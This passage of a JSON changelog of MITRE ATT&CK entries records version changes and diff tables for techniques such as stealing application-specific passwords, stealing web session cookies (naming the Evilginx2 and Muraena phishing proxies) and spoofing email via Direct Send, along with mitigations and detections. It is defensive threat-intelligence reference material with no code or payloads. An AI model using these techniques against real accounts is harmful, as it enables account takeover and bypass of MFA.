nowrap=\"nowrap\">hniques/T1684/001)&nbsp;for&nbsp;[Phishing](https://attack.mitre.org/t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">001)&nbsp;for&nbsp;[Phishing](https://attack.mitre.org/techniques/T156</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">echniques/T1566).&nbsp;Additionally,&nbsp;adversaries&nbsp;may&nbsp;abuse&nbsp;Micros</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">6).&nbsp;Additionally,&nbsp;adversaries&nbsp;may&nbsp;abuse&nbsp;Microsoft&nbsp;365\u2019s&nbsp;Dire</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oft&nbsp;365\u2019s&nbsp;Direct&nbsp;Send&nbsp;functionality&nbsp;to&nbsp;spoof&nbsp;internal&nbsp;users&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ct&nbsp;Send&nbsp;functionality&nbsp;to&nbsp;spoof&nbsp;internal&nbsp;users&nbsp;by&nbsp;using&nbsp;inter</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">by&nbsp;using&nbsp;internal&nbsp;devices&nbsp;like&nbsp;printers&nbsp;to&nbsp;send&nbsp;emails&nbsp;witho</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nal&nbsp;devices&nbsp;like&nbsp;printers&nbsp;to&nbsp;send&nbsp;emails&nbsp;without&nbsp;authenticat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ut&nbsp;authentication.(Citation:&nbsp;Barnea&nbsp;DirectSend)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion.(Citation:&nbsp;Barnea&nbsp;DirectSend)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1054: Software Configuration"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0431: Detection Strategy for Email Spoofing"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--6c427a0d-e0df-41f8-b522-e59eaab44c47",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-09-17 21:14:11.720000+00:00",
                    "modified": "2026-11-02 15:55:58.573000+00:00",
                    "name": "Steal Application Specific Passwords",
                    "description": "Adversaries may steal Application Specific Passwords (ASPs) to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078), bypassing multifactor authentication (MFA) methods. ASPs are passwords typically used to give third-party applications or legacy devices (which do not support MFA methods) account access.(Citation: Application Specific Passwords)(Citation: Application Specific Passwords Push Sec) \n \nAn adversary may socially engineer a user into providing an ASP(Citation: UNC6293 ASP Creative Phishing Attack)(Citation: Application Specific Passwords Phishing) (using methods like [Phishing for Information](https://attack.mitre.org/techniques/T1598)), generate an ASP for an already compromised account,(Citation: Mandiant APT42-untangling)(Citation: TAG APT42) or obtain an ASP stored on a system. Afterward, adversaries may use the ASP to access [Valid Accounts](https://attack.mitre.org/techniques/T1078) and, in some cases, maintain [Persistence](https://attack.mitre.org/tactics/TA0003), bypassing any form of MFA set on the account. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1697",
                            "external_id": "T1697"
                        },
                        {
                            "source_name": "Application Specific Passwords",
                            "description": " Tomer Yahalom. (2024, August 14). App-Specific Passwords: Origins, Functionality, Security Risks and Mitigation. Retrieved September 17, 2026.",
                            "url": "https://astrix.security/learn/blog/app-specific-passwords-origins-functionality-security-risks/"
                        },
                        {
                            "source_name": "Application Specific Passwords Push Sec",
                            "description": "Dan Green. (2025, June 26). App-Specific Password phishing: another novel way to get around passkeys and MFA. Retrieved September 17, 2026.",
                            "url": "https://pushsecurity.com/blog/app-specific-password-phishing"
                        },
                        {
                            "source_name": "UNC6293 ASP Creative Phishing Attack",
                            "description": "Gabby Roncone, Wesley Shields. (2025, June 18). What\u2019s in an ASP? Creative Phishing Attack on Prominent Academics and Critics of Russia. Retrieved September 17, 2026.",
                            "url": "https://cloud.google.com/blog/topics/threat-intelligence/creative-phishing-academics-critics-of-russia"
                        },
                        {
                            "source_name": "TAG APT42",
                            "description": "Google Threat Analysis Group. (2024, August 14). Iranian backed group steps up phishing campaigns against Israel, U.S.. Retrieved October 9, 2024.",
                            "url": "https://blog.google/threat-analysis-group/iranian-backed-group-steps-up-phishing-campaigns-against-israel-us/"
                        },
                        {
                            "source_name": "Application Specific Passwords Phishing",
                            "description": "John Scott-Railton, Rebekah Brown, Bill Marczak. (2025, June 18). Same Sea, New Phish | Russian Government-Linked Social Engineering Targets App-Specific Passwords. Retrieved September 22, 2026.",
                            "url": "https://citizenlab.ca/research/russian-government-linked-social-engineering-targets-app-specific-passwords/"
                        },
                        {
                            "source_name": "Mandiant APT42-untangling",
                            "description": "Rozmann, O., et al. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved October 9, 2024.",
                            "url": "https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Rebekah Brown",
                        "John Scott-Railton",
                        "Menachem Goldstein"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Office Suite",
                        "Identity Provider",
                        "SaaS"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Rebekah Brown\", \"John Scott-Railton\", \"Menachem Goldstein\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-02 15:55:58.573000+00:00\", \"old_value\": \"2026-10-06 16:36:02.606000+00:00\"}}}",
                    "previous_version": "1.0",
                    "changelog_mitigations": {
                        "shared": [
                            "M1017: User Training",
                            "M1018: User Account Management",
                            "M1036: Account Use Policies",
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0926: Suspicious Acquisition and Use of Application-Specific Passwords"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2019-10-08 20:04:35.508000+00:00",
                    "modified": "2026-11-03 21:46:39.325000+00:00",
                    "name": "Steal Web Session Cookie",
                    "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\n\nThere are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to log in to the corresponding web application.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1539",
                            "external_id": "T1539"
                        },
                        {
                            "source_name": "Krebs Discord Bookmarks 2023",
                            "description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.",
                            "url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/"
                        },
                        {
                            "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                            "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
                            "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
                        },
                        {
                            "source_name": "Kaspersky TajMahal April 2019",
                            "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019.",
                            "url": "https://securelist.com/project-tajmahal/90240/"
                        },
                        {
                            "source_name": "Github evilginx2",
                            "description": "Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.",
                            "url": "https://github.com/kgretzky/evilginx2"
                        },
                        {
                            "source_name": "GitHub Mauraena",
                            "description": "Orr\u00f9, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.",
                            "url": "https://github.com/muraenateam/muraena"
                        },
                        {
                            "source_name": "Pass The Cookie",
                            "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
                            "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
                        },
                        {
                            "source_name": "Talos Roblox Scam 2023",
                            "description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game \u201cRoblox\u201d. Retrieved January 2, 2024.",
                            "url": "https://blog.talosintelligence.com/roblox-scam-overview/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Microsoft Threat Intelligence Center (MSTIC)",
                        "Johann Rehberger",
                        "Menachem Goldstein",
                        "Don Le, Stifel Financial"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Office Suite",
                        "SaaS",
                        "Windows"
                    ],
                    "x_mitre_version": "1.5",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:46:39.325000+00:00\", \"old_value\": \"2026-05-12 15:12:00.621000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\\n\\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\\n\\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\\n\\nThere are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\\n\\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to log in to the corresponding web application.\", \"old_value\": \"An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\\n\\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\\n\\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\\n\\nThere are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\\n\\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.\", \"diff\": \"--- \\n+++ \\n@@ -6,4 +6,4 @@\\n \\n There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\\n \\n-After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.\\n+After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to log in to the corresponding web application.\"}}}",
                    "previous_version": "1.5",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to127__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to127__0\"><a href=\"#difflib_chg_to127__top\">t</a></td><td class=\"diff_header\" id=\"from127_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;may&nbsp;steal&nbsp;web&nbsp;application&nbsp;or&nbsp;service&nbsp;session&nbsp;co</td><td class=\"diff_next\"><a href=\"#difflib_chg_to127__top\">t</a></td><td class=\"diff_header\" id=\"to127_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;may&nbsp;steal&nbsp;web&nbsp;application&nbsp;or&nbsp;service&nbsp;session&nbsp;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">okies&nbsp;and&nbsp;use&nbsp;them&nbsp;to&nbsp;gain&nbsp;access&nbsp;to&nbsp;web&nbsp;applications&nbsp;or&nbsp;Int</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">okies&nbsp;and&nbsp;use&nbsp;them&nbsp;to&nbsp;gain&nbsp;access&nbsp;to&nbsp;web&nbsp;applications&nbsp;or&nbsp;Int</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ernet&nbsp;services&nbsp;as&nbsp;an&nbsp;authenticated&nbsp;user&nbsp;without&nbsp;needing&nbsp;cred</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ernet&nbsp;services&nbsp;as&nbsp;an&nbsp;authenticated&nbsp;user&nbsp;without&nbsp;needing&nbsp;cred</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">entials.&nbsp;Web&nbsp;applications&nbsp;and&nbsp;services&nbsp;often&nbsp;use&nbsp;session&nbsp;coo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">entials.&nbsp;Web&nbsp;applications&nbsp;and&nbsp;services&nbsp;often&nbsp;use&nbsp;session&nbsp;coo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kies&nbsp;as&nbsp;an&nbsp;authentication&nbsp;token&nbsp;after&nbsp;a&nbsp;user&nbsp;has&nbsp;authenticat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kies&nbsp;as&nbsp;an&nbsp;authentication&nbsp;token&nbsp;after&nbsp;a&nbsp;user&nbsp;has&nbsp;authenticat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;to&nbsp;a&nbsp;website.&nbsp;&nbsp;Cookies&nbsp;are&nbsp;often&nbsp;valid&nbsp;for&nbsp;an&nbsp;extended&nbsp;pe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;to&nbsp;a&nbsp;website.&nbsp;&nbsp;Cookies&nbsp;are&nbsp;often&nbsp;valid&nbsp;for&nbsp;an&nbsp;extended&nbsp;pe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">riod&nbsp;of&nbsp;time,&nbsp;even&nbsp;if&nbsp;the&nbsp;web&nbsp;application&nbsp;is&nbsp;not&nbsp;actively&nbsp;us</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">riod&nbsp;of&nbsp;time,&nbsp;even&nbsp;if&nbsp;the&nbsp;web&nbsp;application&nbsp;is&nbsp;not&nbsp;actively&nbsp;us</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed.&nbsp;Cookies&nbsp;can&nbsp;be&nbsp;found&nbsp;on&nbsp;disk,&nbsp;in&nbsp;the&nbsp;process&nbsp;memory&nbsp;of&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed.&nbsp;Cookies&nbsp;can&nbsp;be&nbsp;found&nbsp;on&nbsp;disk,&nbsp;in&nbsp;the&nbsp;process&nbsp;memory&nbsp;of&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;browser,&nbsp;and&nbsp;in&nbsp;network&nbsp;traffic&nbsp;to&nbsp;remote&nbsp;systems.&nbsp;Additi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;browser,&nbsp;and&nbsp;in&nbsp;network&nbsp;traffic&nbsp;to&nbsp;remote&nbsp;systems.&nbsp;Additi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onally,&nbsp;other&nbsp;applications&nbsp;on&nbsp;the&nbsp;targets&nbsp;machine&nbsp;might&nbsp;stor</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onally,&nbsp;other&nbsp;applications&nbsp;on&nbsp;the&nbsp;targets&nbsp;machine&nbsp;might&nbsp;stor</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;sensitive&nbsp;authentication&nbsp;cookies&nbsp;in&nbsp;memory&nbsp;(e.g.&nbsp;apps&nbsp;whic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;sensitive&nbsp;authentication&nbsp;cookies&nbsp;in&nbsp;memory&nbsp;(e.g.&nbsp;apps&nbsp;whic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;authenticate&nbsp;to&nbsp;cloud&nbsp;services).&nbsp;Session&nbsp;cookies&nbsp;can&nbsp;be&nbsp;us</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;authenticate&nbsp;to&nbsp;cloud&nbsp;services).&nbsp;Session&nbsp;cookies&nbsp;can&nbsp;be&nbsp;us</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;to&nbsp;bypasses&nbsp;some&nbsp;multi-factor&nbsp;authentication&nbsp;protocols.(C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;to&nbsp;bypasses&nbsp;some&nbsp;multi-factor&nbsp;authentication&nbsp;protocols.(C</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;Pass&nbsp;The&nbsp;Cookie)&nbsp;&nbsp;There&nbsp;are&nbsp;several&nbsp;examples&nbsp;of&nbsp;mal</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;Pass&nbsp;The&nbsp;Cookie)&nbsp;&nbsp;There&nbsp;are&nbsp;several&nbsp;examples&nbsp;of&nbsp;mal</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ware&nbsp;targeting&nbsp;cookies&nbsp;from&nbsp;web&nbsp;browsers&nbsp;on&nbsp;the&nbsp;local&nbsp;system</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ware&nbsp;targeting&nbsp;cookies&nbsp;from&nbsp;web&nbsp;browsers&nbsp;on&nbsp;the&nbsp;local&nbsp;system</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.(Citation:&nbsp;Kaspersky&nbsp;TajMahal&nbsp;April&nbsp;2019)(Citation:&nbsp;Unit&nbsp;42</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.(Citation:&nbsp;Kaspersky&nbsp;TajMahal&nbsp;April&nbsp;2019)(Citation:&nbsp;Unit&nbsp;42</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Mac&nbsp;Crypto&nbsp;Cookies&nbsp;January&nbsp;2019)&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;steal</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Mac&nbsp;Crypto&nbsp;Cookies&nbsp;January&nbsp;2019)&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;steal</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;cookies&nbsp;by&nbsp;injecting&nbsp;malicious&nbsp;JavaScript&nbsp;content&nbsp;into&nbsp;webs</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;cookies&nbsp;by&nbsp;injecting&nbsp;malicious&nbsp;JavaScript&nbsp;content&nbsp;into&nbsp;webs</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ites&nbsp;or&nbsp;relying&nbsp;on&nbsp;[User&nbsp;Execution](https://attack.mitre.org</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ites&nbsp;or&nbsp;relying&nbsp;on&nbsp;[User&nbsp;Execution](https://attack.mitre.org</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/techniques/T1204)&nbsp;by&nbsp;tricking&nbsp;victims&nbsp;into&nbsp;running&nbsp;maliciou</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/techniques/T1204)&nbsp;by&nbsp;tricking&nbsp;victims&nbsp;into&nbsp;running&nbsp;maliciou</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;JavaScript&nbsp;in&nbsp;their&nbsp;browser.(Citation:&nbsp;Talos&nbsp;Roblox&nbsp;Scam&nbsp;2</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;JavaScript&nbsp;in&nbsp;their&nbsp;browser.(Citation:&nbsp;Talos&nbsp;Roblox&nbsp;Scam&nbsp;2</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">023)(Citation:&nbsp;Krebs&nbsp;Discord&nbsp;Bookmarks&nbsp;2023)&nbsp;&nbsp;There&nbsp;are&nbsp;also</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">023)(Citation:&nbsp;Krebs&nbsp;Discord&nbsp;Bookmarks&nbsp;2023)&nbsp;&nbsp;There&nbsp;are&nbsp;also</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;open&nbsp;source&nbsp;frameworks&nbsp;such&nbsp;as&nbsp;`Evilginx2`&nbsp;and&nbsp;`Muraena`&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;open&nbsp;source&nbsp;frameworks&nbsp;such&nbsp;as&nbsp;`Evilginx2`&nbsp;and&nbsp;`Muraena`&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">at&nbsp;can&nbsp;gather&nbsp;session&nbsp;cookies&nbsp;through&nbsp;a&nbsp;malicious&nbsp;proxy&nbsp;(e.g</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">at&nbsp;can&nbsp;gather&nbsp;session&nbsp;cookies&nbsp;through&nbsp;a&nbsp;malicious&nbsp;proxy&nbsp;(e.g</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.,&nbsp;[Adversary-in-the-Middle](https://attack.mitre.org/techni</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.,&nbsp;[Adversary-in-the-Middle](https://attack.mitre.org/techni</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ques/T1557))&nbsp;that&nbsp;can&nbsp;be&nbsp;set&nbsp;up&nbsp;by&nbsp;an&nbsp;adversary&nbsp;and&nbsp;used&nbsp;in&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ques/T1557))&nbsp;that&nbsp;can&nbsp;be&nbsp;set&nbsp;up&nbsp;by&nbsp;an&nbsp;adversary&nbsp;and&nbsp;used&nbsp;in&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">phishing&nbsp;campaigns.(Citation:&nbsp;Github&nbsp;evilginx2)(Citation:&nbsp;Gi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">phishing&nbsp;campaigns.(Citation:&nbsp;Github&nbsp;evilginx2)(Citation:&nbsp;Gi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tHub&nbsp;Mauraena)&nbsp;&nbsp;After&nbsp;an&nbsp;adversary&nbsp;acquires&nbsp;a&nbsp;valid&nbsp;cookie,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tHub&nbsp;Mauraena)&nbsp;&nbsp;After&nbsp;an&nbsp;adversary&nbsp;acquires&nbsp;a&nbsp;valid&nbsp;cookie,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">they&nbsp;can&nbsp;then&nbsp;perform&nbsp;a&nbsp;[Web&nbsp;Session&nbsp;Cookie](https://attack.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">they&nbsp;can&nbsp;then&nbsp;perform&nbsp;a&nbsp;[Web&nbsp;Session&nbsp;Cookie](https://attack.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitre.org/techniques/T1550/004)&nbsp;technique&nbsp;to&nbsp;log<span 